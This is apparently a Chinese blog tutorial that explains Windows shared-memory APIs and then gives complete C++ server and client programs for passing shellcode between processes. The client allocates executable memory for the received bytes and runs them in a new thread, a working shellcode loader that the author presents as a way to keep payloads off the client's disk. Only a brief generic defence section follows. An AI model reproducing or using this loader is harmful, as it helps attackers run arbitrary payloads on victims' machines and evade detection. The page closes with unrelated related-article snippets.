C++ 共享内存ShellCode跨进程传输
在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode
的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode
打散,而作为客户端也不需要时时刻刻在本地存放ShellCode
代码,这能保证客户端的安全性。
服务端部分
CreateFileMapping
用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。
下面是 CreateFileMapping
函数的基本语法:
HANDLE CreateFileMapping(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCTSTR lpName
);
参数说明:
hFile
: 文件句柄,可以是一个磁盘文件或者其他内核对象的句柄。如果是INVALID_HANDLE_VALUE
,则表示创建一个只在内存中的映射,而不与文件关联。lpFileMappingAttributes
: 安全属性,一般为NULL
,表示使用默认的安全设置。flProtect
: 内存保护选项,指定内存页的保护属性,例如读、写、执行等。常见的值有PAGE_READONLY
、PAGE_READWRITE
、PAGE_EXECUTE_READ
等。dwMaximumSizeHigh
和dwMaximumSizeLow
: 指定文件映射对象的最大大小。如果映射的是一个文件,可以通过这两个参数指定文件映射的大小。lpName
: 文件映射对象的名字,如果是通过共享内存进行跨进程通信,可以通过这个名字在不同的进程中打开同一个文件映射对象。
成功调用 CreateFileMapping
会返回一个文件映射对象的句柄,失败则返回 NULL
。通常创建成功后,可以通过 MapViewOfFile
函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。
MapViewOfFile
用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。
以下是 MapViewOfFile
函数的基本语法:
LPVOID MapViewOfFile(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap
);
参数说明:
hFileMappingObject
: 文件映射对象的句柄,这个句柄通常是通过CreateFileMapping
函数创建得到的。dwDesiredAccess
: 映射区域的访问权限,常见的值有FILE_MAP_READ
、FILE_MAP_WRITE
、FILE_MAP_EXECUTE
。dwFileOffsetHigh
和dwFileOffsetLow
: 文件映射的起始位置。在这里,通常指定为0,表示从文件的开头开始映射。dwNumberOfBytesToMap
: 指定映射的字节数,通常可以设置为 0 表示映射整个文件。
成功调用 MapViewOfFile
会返回映射视图的起始地址,失败则返回 NULL
。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile
函数解除映射。
CreateMutex
用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。
以下是 CreateMutex
函数的基本语法:
HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCTSTR lpName
);
参数说明:
lpMutexAttributes
: 一个指向SECURITY_ATTRIBUTES
结构的指针,决定了互斥体的安全性。通常可以设为NULL
,表示使用默认的安全描述符。bInitialOwner
: 一个布尔值,指定互斥体的初始状态。如果设置为TRUE
,表示创建互斥体时已经拥有它,这通常用于创建一个已经锁定的互斥体。如果设置为FALSE
,则表示创建互斥体时未拥有它。lpName
: 一个指向包含互斥体名称的空终止字符串的指针。如果为NULL
,则创建一个匿名的互斥体;否则,创建一个具有指定名称的互斥体。通过指定相同的名称,可以在多个进程中共享互斥体。
成功调用 CreateMutex
会返回互斥体对象的句柄,失败则返回 NULL
。在使用完互斥体后,应该通过 CloseHandle
函数关闭句柄以释放资源。
CreateEvent
用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。
以下是 CreateEvent
函数的基本语法:
HANDLE CreateEvent(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCTSTR lpName
);
参数说明:
lpEventAttributes
: 一个指向SECURITY_ATTRIBUTES
结构的指针,决定了事件对象的安全性。通常可以设为NULL
,表示使用默认的安全描述符。bManualReset
: 一个布尔值,指定事件对象的复位类型。如果设置为TRUE
,则为手动复位;如果设置为FALSE
,则为自动复位。手动复位的事件需要通过ResetEvent
函数手动将其重置为非触发状态,而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。bInitialState
: 一个布尔值,指定事件对象的初始状态。如果设置为TRUE
,表示创建事件对象时已经处于触发状态;如果设置为FALSE
,则表示创建事件对象时处于非触发状态。lpName
: 一个指向包含事件对象名称的空终止字符串的指针。如果为NULL
,则创建一个匿名的事件对象;否则,创建一个具有指定名称的事件对象。通过指定相同的名称,可以在多个进程中共享事件对象。
成功调用 CreateEvent
会返回事件对象的句柄,失败则返回 NULL
。在使用完事件对象后,应该通过 CloseHandle
函数关闭句柄以释放资源。
WaitForSingleObject
用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。
以下是 WaitForSingleObject
函数的基本语法:
DWORD WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds
);
参数说明:
hHandle
: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。dwMilliseconds
: 等待的时间,以毫秒为单位。如果设为INFINITE
,表示无限等待,直到内核对象变为 signaled。
WaitForSingleObject
返回一个 DWORD
类型的值,表示等待的结果。可能的返回值包括:
WAIT_OBJECT_0
:内核对象已经变为 signaled 状态。WAIT_TIMEOUT
:等待时间已过,但内核对象仍然没有变为 signaled 状态。WAIT_FAILED
:等待出错,可以通过调用GetLastError
获取详细错误信息。
这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。
ReleaseMutex
用于释放之前由 WaitForSingleObject
或 WaitForMultipleObjects
等函数获取的互斥体对象的所有权。
以下是 ReleaseMutex
函数的基本语法:
BOOL ReleaseMutex(HANDLE hMutex
);
参数说明:
hMutex
: 要释放的互斥体对象的句柄。
ReleaseMutex
返回一个 BOOL
类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError
获取详细错误信息。
互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex
释放互斥体所有权。
SetEvent
用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObject
或 WaitForMultipleObjects
)一起使用,以实现线程之间或进程之间的同步。
以下是 SetEvent
函数的基本语法:
BOOL SetEvent(HANDLE hEvent
);
参数说明:
hEvent
: 事件对象的句柄。
SetEvent
函数返回一个 BOOL
类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError
获取详细错误信息。
事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent
可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。
有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。
#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;char ShellCode[] = "此处是ShellCode";using namespace std;int main(int argc,char *argv[])
{// 创建共享文件句柄HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");if (shareFileHandle == NULL){return 1;}//映射缓冲区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);if (lpBuf == NULL){CloseHandle(shareFileHandle);return 1;}// 创建互斥器H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");// 操作共享内存while (true){getchar();// 使用互斥体加锁,获得互斥器的拥有权WaitForSingleObject(H_Mutex, INFINITE);memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);ReleaseMutex(H_Mutex); // 放锁SetEvent(H_Event); // 激活等待的进程}CloseHandle(H_Mutex);CloseHandle(H_Event);UnmapViewOfFile(lpBuf);CloseHandle(shareFileHandle);return 0;
}
客户端部分
OpenFileMapping
用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。
以下是 OpenFileMapping
函数的基本语法:
HANDLE OpenFileMapping(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName
);
参数说明:
dwDesiredAccess
: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如FILE_MAP_READ
、FILE_MAP_WRITE
等。bInheritHandle
: 指定句柄是否可以被子进程继承。如果为TRUE
,子进程将继承句柄;如果为FALSE
,子进程不继承句柄。lpName
: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是NULL
,函数将打开一个不带名称的文件映射对象。
OpenFileMapping
函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL
。可以通过调用 GetLastError
获取详细错误信息。
OpenEvent
用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。
以下是 OpenEvent
函数的基本语法:
HANDLE OpenEvent(DWORD dwDesiredAccess,BOOL bInheritHandle,LPCTSTR lpName
);
参数说明:
dwDesiredAccess
: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如EVENT_MODIFY_STATE
、EVENT_QUERY_STATE
等。bInheritHandle
: 指定句柄是否可以被子进程继承。如果为TRUE
,子进程将继承句柄;如果为FALSE
,子进程不继承句柄。lpName
: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是NULL
,函数将打开一个不带名称的事件对象。
OpenEvent
函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL
。可以通过调用 GetLastError
获取详细错误信息。
VirtualAlloc
用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。
以下是 VirtualAlloc
函数的基本语法:
LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect
);
参数说明:
lpAddress
: 指定欲分配内存的首地址。如果为NULL
,系统将决定分配的地址。dwSize
: 指定欲分配内存的大小,以字节为单位。flAllocationType
: 指定分配类型。可以是以下常量之一:MEM_COMMIT
:将内存提交为物理存储(RAM或磁盘交换文件)中的一页或多页。MEM_RESERVE
:为欲保留的内存保留地址空间而不分配任何物理存储。MEM_RESET
:将内存区域的内容初始化为零。必须与MEM_COMMIT
一起使用。
flProtect
: 指定内存的访问保护。可以是以下常量之一:PAGE_EXECUTE_READ
: 允许读取并执行访问。PAGE_READWRITE
: 允许读写访问。
VirtualAlloc
函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 NULL
。可以通过调用 GetLastError
获取详细错误信息。
CreateThread
用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。
以下是 CreateThread
函数的基本语法:
HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId
);
参数说明:
lpThreadAttributes
: 用于设置线程的安全属性,通常设置为NULL
。dwStackSize
: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。lpStartAddress
: 指定线程函数的地址,新线程将从此地址开始执行。lpParameter
: 传递给线程函数的参数。dwCreationFlags
: 指定线程的创建标志,通常设置为 0。lpThreadId
: 接收新线程的标识符。如果为NULL
,则不接收线程标识符。
CreateThread
函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL
。可以通过调用 GetLastError
获取详细错误信息。
客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode
执行后反弹,完整代码如下所示;
#include <iostream>
#include <Windows.h>
#include <winbase.h>using namespace std;HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;int main(int argc, char* argv[])
{// 打开共享文件句柄HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");if (sharedFileHandle == NULL){return 1;}// 映射缓存区视图,得到指向共享内存的指针LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);if (lpBuf == NULL){CloseHandle(sharedFileHandle);return 1;}H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");if (H_Event == NULL){return 1;}char buffer[4096] = {0};while (1){HANDLE hThread;// 互斥体接收数据并加锁WaitForSingleObject(H_Event, INFINITE);WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收数据到内存ReleaseMutex(H_Mutex); // 放锁cout << "接收到的ShellCode: " << buffer << endl;// 注入ShellCode并执行void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(ShellCode, buffer, sizeof(buffer));hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);WaitForSingleObject(hThread, INFINITE);}CloseHandle(H_Event);CloseHandle(H_Mutex);UnmapViewOfFile(lpBuf);CloseHandle(sharedFileHandle);return 0;
}
潜在风险和安全建议
虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:
- 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
- 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
- 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。
总结
本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。
相关文章:
C++ 共享内存ShellCode跨进程传输
在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode&am…...
如何快速移植(从STM32F103到STM32F407)
最近用到F4的地方比较多,网上代码还是F1多一些,便需要移植代码,如何快速移植代码呢? 看下面这篇文章 外设 首先就是STM32的外设了。 STM32F407ZGT6的基本外设 STM32F407ZGT6 作为 MCU,该芯片是 STM32F407 里面配置…...
python高级练习题库实验1(B)部分
文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目5代码实验结果题目总结题目1 打包糖果小游戏,用户输入糖果品牌与个数,还有一个盒子里面可以装多少个糖果,输出一些打印信息,如下图所示: 代码 print("Packaging lollies into…...
Qt Rsa 加解密方法使用(pkcs1, pkcs8, 以及文件存储和内存存储密钥)
Qt RSA 加解密 完整使用 密钥格式: pkcs#1pkcs#8 如何区分密钥对是PKCS1还是PKCS8? 通常PKCS1密钥对的开始部分为:-----BEGIN RSA PRIVATE KEY-----或 -----BEGIN RSA PUBLIC KEY-----。而PKCS8密钥对的开始部分为:-----BEGIN…...
区分物理端口与软件端口概念:以交换机端口和Linux系统中的端口为例
文章目录 交换机端口和Linux系统中的端口有什么区别?1. 交换机的端口2. Linux系统中的端口因此,尽管两者都被称为"端口",但它们代表的含义和用途是完全不同的。 交换机端口和Linux系统中的端口有什么区别? 虽然都被称为…...
力扣226:翻转二叉树
力扣226:翻转二叉树 给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。 示例 1: 输入:root [4,2,7,1,3,6,9] 输出:[4,7,2,9,6,3,1] 示例 2: 输入:root [2,1,3]…...
亚马逊鲲鹏系统智能自动注册与AI角色养号,探索数字化新境界
在数字化时代,亚马逊鲲鹏系统以其强大的自动化功能,为用户提供了前所未有的购物体验。如果你想利用鲲鹏系统进行自动化注册,那么准备好邮箱、IP、手机号等关键信息后,你将轻松实现自动注册,为购物之旅开启智能化新篇章…...
AOP操作日志记录
AOP操作日志记录 1.创建注解 Retention(RetentionPolicy.RUNTIME) Target(ElementType.METHOD) public interface PassportLog {String operatePage();String operateType();ClassTypEnum classType();}2.创建切面 对于字典,可以通过注解属性去转换,枚举…...
Linux C语言 42-进程间通信IPC之网络通信(套接字)
Linux C语言 42-进程间通信IPC之网络通信(套接字) 本节关键字:C语言 进程间通信 网络通信 套接字 TCP UDP 相关库函数:socket、bind、listen、accept、send、recv、sendto、recvfrom 参考之前的文章 Linux C语言 30-套接字操作…...
微服务知识大杂烩
1.什么是微服务? 微服务(Microservices)是一种软件架构风格,将一个大型应用程序划分为一组小型、自治且松耦合的服务。每个微服务负责执行特定的业务功能,并通过轻量级通信机制(如HTTP)相互协作。每个微服务可以独立开发、部署和扩展,使得应用程序更加灵活、可伸缩和可…...
记录一次vscode markdown的图片路径相关插件学习配置过程
插件及说明查找过程 csdn搜索markdown图片路径,找到关于这一款插件的回答。打开vscode拓展搜索Paste Image这款插件,看到下载量挺高的,应该不赖。 点击仓库,进入该插件开源的github仓库,查看README文件阅读说明. 淡然在Vscode 插件项目下的细…...
设计原则 | 依赖转置原则
一、依赖转置原则(DIP:Dependence Inversion Principle) 1、原理 高层模块不应该依赖低层模块,二者都应该依赖于抽象抽象不应该依赖于细节,细节应该依赖于抽象 2、层次化 Booch曾经说过:所有结构良好的面…...
前端开发实用技巧与经验分享
导语:在前端开发领域,掌握一些实用的技巧和经验可以帮助你更高效地完成任务。本文将分享一些前端开发的实用技巧和经验,帮助你在工作中更好地应对各种挑战。 一、使用开发者工具进行调试和优化 熟练掌握浏览器开发者工具的使用,…...
推荐一款Excel快速加载SQL的插件,方便又好用
如果告诉你只需要双击一下,SQL数据库中存放在表里面的数据,就能加载到你的Excel中,你想不想要? 今天给大家推荐一款好用的Excel插件,安装简单,使用方便,是经常使用SQL数据库的不二。 这款插件…...
Docker快速入门(docker加速,镜像,容器,数据卷常见命令操作整理)
Docker本质是将代码所需的环境依赖进行打包运行,而在Docker中最重要的是镜像和容器 镜像:可以简单地理解为每启动一个docker镜像就会占用计算机一个进程,这个进程和另外起的docker镜像的进程是相互独立的,以数据库为例,每个镜像都会copy一份数据库,在他所在的进程中.别的镜像在…...
http和https的区别有哪些
目录 HTTP(HyperText Transfer Protocol) HTTPS(HyperText Transfer Protocol Secure) 区别与优势 应用场景 未来趋势 当我们浏览互联网时,我们经常听到两个常用的协议:HTTP(HyperText Tra…...
使用Keil-MDK生成*.bin格式可执行文件
使用Keil-MDK生成*.bin格式可执行文件 文章目录 使用Keil-MDK生成*.bin格式可执行文件前言一、fromelf.exe工具二、使用方法1.配置输出2.输出格式 前言 在使用Keil MDK的集成开发环境中,默认情况下可以生成*.axf格式的调试文件和*.hex格式的可执行文件。虽然文件可…...
基于springboot+vue篮球联盟管理系统源码
🍅 简介:500精品计算机源码学习 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 文末获取源码 目录 一、以下学习内容欢迎交流: 二、文档资料截图: 三、项目技术栈 四、项目运行图 背景: 篮球运…...
分页助手入门以及小bug,报sql语法错误
导入坐标 5版本以上的分页助手 可以不用手动指定数据库语言,它会自动识别 <dependency> <groupId>com.github.pagehelper</groupId> <artifactId>pagehelper</artifactId> <version>5.3.2</version> </dependency&g…...
Java中的并发编程:深入理解CountDownLatch
Java中的并发编程:深入理解CountDownLatch 本文将深入探讨Java中的并发编程,重点关注CountDownLatch的使用。通过理解这些概念和技术,我们可以编写出更高效、稳定的Java程序。 一、CountDownLatch简介 CountDownLatch是Java中的一个同步工具…...
Windows 安装 flash-attention 和 bitsandbytes
首先保证cuda版本为12.1,torch版本为2.1.0及以上,python版本3.10以上 从此处下载最新版的whl,https://github.com/jllllll/bitsandbytes-windows-webui/releases/tag/wheels,通过whl来安装bitsandbytes 从此处下载最新版的whl&a…...
AHB 与 DMA
AHB(先进高性能总线) 随着深亚微米工艺技术日益成熟,集成电路芯片的规模越来越大。数字IC从基于时序驱动的设计方法,发展到基于IP核复用的设计方法,并在SOC设计中得到了广泛应用。在基于IP核复用的SoC(Syst…...
React使用echarts并且修改echarts图大小
React使用echarts 引入 npm install --save echarts-for-react npm install --save echarts使用 <ReactEChartsoption{option}notMerge{true}lazyUpdate{true}style{{"width": "100%","height": "800px"}}theme{"theme_nam…...
【Q6-30min】
1. ifndef/define/endif的作用:避免头文件被重复引用。 2.堆栈溢出主要的原因是: (1)函数调用层次太深。函数递归调用时,系统要在栈中不断保存函数调用时的现场和产生的变量,如果递归调用太深,…...
C++之类和对象(下)
目录 初始化列表 static成员 C11对于非静态成员变量初始化 友元 友元函数 友元类 总结 初始化列表 我们知道,在学习构造函数时,我们知道对象的成员变量的初始化我们是在构造函数函数体内进行初始化的,还有没有其它初始化成员变量的方…...
微服务开发:断路器详解
微服务是目前业界使用的最重要的实现方面。通过使用微服务架构,开发人员可以消除他们以前在单体应用程序中遇到的许多问题。展望未来,人们开始在微服务中搜索和采用各种模式。大多数时候,新模式的产生是为了解决另一个模式中出现的常见问题。…...
Leetcode—383.赎金信【简单】
2023每日刷题(五十) Leetcode—383.赎金信 实现代码 class Solution { public:int arr[26] {0};int arr2[26] {0};bool canConstruct(string ransomNote, string magazine) {int len ransomNote.size();int len2 magazine.size();for(int i 0; i …...
爬虫-xpath篇
1.xpath的基础语法 表达式描述nodename选中该元素/从根节点选取、或者是元素和元素间的过渡//从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置.选取当前节点…选取当前节点的父节点选取属性text()选取文本 举例: 路径表达式结果html选择html元…...
Oracle初始化参数文件pfile和spfile
pfile :Oracle 9i之前,ORACLE一直采用PFILE方式存储初始化参数,该文件为文本文件,可以在操作系统级别修改。当spfile文件修改出现错误导致oracle无法启动时,可以使用 pfile文件启动数据库 spfile:从Oracle…...
zookeeper 客户端常用命令简单记录(实操课程系列--watcher功能测试)(发布订阅功能测试)
本系列是zookeeper相关的实操课程,课程测试环环相扣,请按照顺序阅读测试来学习zookeeper。阅读本文之前,请先阅读----zookeeper 单机伪集群搭建简单记录(实操课程系列) 1、命令行工具切换到zookeeper的bin目录下面&am…...
大鹏附近网站建设/好搜seo软件
Build Tools 即构建工具是一个把源代码生成可执行应用程序的过程自动化的程序(例如Android app生成apk)。由Apache软件基金会所提供。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个…...
rttheme 18 wordpress/各城市首轮感染高峰期预测
1.问题描述 n个强盗(编号1,2,3,…,n)分赃m个金币。先由强盗1提出分配方案,所有的强盗投票,超过半数支持则方案通过,否则将强盗1杀死、由强盗2继续提方案,以此类推。假设所有的强盗都足够聪明,并…...
嘉兴快速建站模板/网络推广渠道和方法
网站遭遇DOS攻击 一个、事件背景 长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停。越是节假日,越可能出大问题,以下要讲述的就是一起遭受DOS攻击的案例。 春节长假刚过完,小李公司的Webse…...
wordpress bootsharp/网上培训
HAProxy 的压缩、健康检查和其它相关参数详解1、拓扑2、相关博客3、compression3.1 HTTPD 服务器添加比较大的 HTML 文件3.2 进行 index1.html 访问3.3 HAProxy cfg 文件进行压缩相关配置3.4 此时再进行 index1.html 访问,发现压缩配置生效4、http-check4.1 HAProxy…...
学做招投标的网站有哪些/网销平台排名
spContentC语言是古老而长青的编程语言,它具备了现代程序设计的基础要求,它的语法是很多其他编程语言的基础,在系统程序、嵌入式系统等领域依然是无可替代的编程语言,在各类编程语言排行榜上常年占据前两名的位置。本课程是零基础…...
北京网站建设的价格天/淄博网络推广公司哪家好
早晨起床时间:8:20 晚上休息时间:23:28 全天处理事件:1.监督小妹复习前一周学的内容和布置的作业。2.调试移植的nrf24l01模块的驱动程序,使其工作正常。 处事经验总结:经过这三天的调试,最总发现是模块的供…...